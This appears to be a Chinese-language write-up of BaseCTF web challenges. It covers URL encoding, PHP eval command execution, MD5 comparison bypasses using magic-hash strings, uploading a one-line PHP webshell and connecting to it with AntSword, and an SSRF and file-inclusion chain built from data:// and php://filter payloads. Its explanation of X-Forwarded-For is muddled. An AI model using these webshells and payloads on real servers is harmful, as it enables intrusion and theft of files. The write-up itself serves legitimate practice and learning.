目录
HTTP 是什么呀
url转义: 是将URL中的特殊字符转换为有效的ASCII字符格式的过程,以确保URL的正确解析和传输。这个过程涉及到将非ASCII字符替换为“%hh”格式,其中hh为两位十六进制数,对应于该字符在ISO-8859-1字符集里的编码值。URL转义的主要目的是为了确保URL中的特殊字符不会干扰URL的结构或被误解为URL的组成部分。
1.encodeURI:用于对一个完整的URI进行编码,保留字符不会被编码,因为这些字符在URI中有特殊的用途,如分隔符。
2.encodeURIComponent:用于对URI的一个组件进行编码,需要编码的字符更多,因为它假定参数是URI的一部分,如协议、主机名、路径或查询字符串。
X-Forwarded-For反向代理是一种常见的网络安全技术,它通过在代理服务器上对客户端的请求进行转发,实现对目标服务器的访问。在这个过程中,代理服务器会隐藏客户端的真实IP地址,从而保护客户端的隐私。
base64编码的flag
或者F12查看返回数据包
BaseCTF{f9a3559f-2af1-423e-aa0f-400b53702442}
喵喵喵´•ﻌ•`![](https://i-blog.csdnimg.cn/direct/7a585d1a052043ef97a36681c4d656c2.png)
<?php
highlight_file(__FILE__);
error_reporting(0);
$a = $_GET['DT'];
eval($a);
?>
题目说是php可以执行系统命令:system()函数可以用来执行系统命令,包括"cat"命令。
system("ls");
//查看执行程序所在目录下的所有目录内容
以下是使用 system() 函数和 cat 命令显示文件内容的示例代码:
<?php
// 要读取的文件路径
$file = 'path/to/your/file.txt';
// 使用 system 函数执行 cat 命令
system("cat $file");
?>
md5绕过欸
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
$name = $_GET['name'];
$name2 = $_GET['name2'];
$password = $_POST['password'];
$password2 = $_POST['password2'];
if ($name != $password && md5($name) == md5($password)){
if ($name2 !== $password2 && md5($name2) === md5($password2)){
echo $flag;
}
else{
echo "再看看啊,马上绕过嘞!";
}
}
else {
echo "错啦错啦";
}
}
else {
echo '没看到参数呐';
}
?>
第一对哈希值弱相等,第二对哈希值强相等
弱相等绕过:以”0e“开头的字符串,会被识别成数字0
强相等绕过:传数组,哈希值会返回null
哈希后为0e开头的字符串有:
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s214587387a 0e848240448830537924465865611904
或者
A Dark Room
查看源码
upload
没有上传要求,直接上传一句话木马
<?php @eval($_POST['flag']);?>
这里的目录是用uploads连接
检查是否上传成功:没有报错就是成功了,
蚁剑连接:
在根目录下找到flag文件即可
BaseCTF{08cbb863-0c58-462a-8a3a-da3600310867}
Aura 酱的礼物
<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
die('这是 Aura 的礼物,你不是 Aura!');
}
// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
die('这不是 Aura 的博客!');
}
$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
die('请去博客里面写下感想哦~');
}
// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift);
这里die函数执行完,后面的都不会再执行,所以要跳过if;
第一:有个file_get_contents()函数,可以用伪协议data
data://text/plain;base64,xxxx(base64编码后的数据)
第二:challenge参数开头得是http://jasmineaura.github.io
第三:challenge参数内容又要包含”已经收到kenwang的礼物啦“,这里是ssrf漏洞,使用@127.0.0.1绕过
第四:文件包含include,使用filter伪协议
payload如下:
pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@127.0.0.1&gift=pHp://FilTer/convert.base64-encode/resource=flag.php
对结果进行base64解码得到flag
伪协议参考blog:http://t.csdnimg.cn/DALv9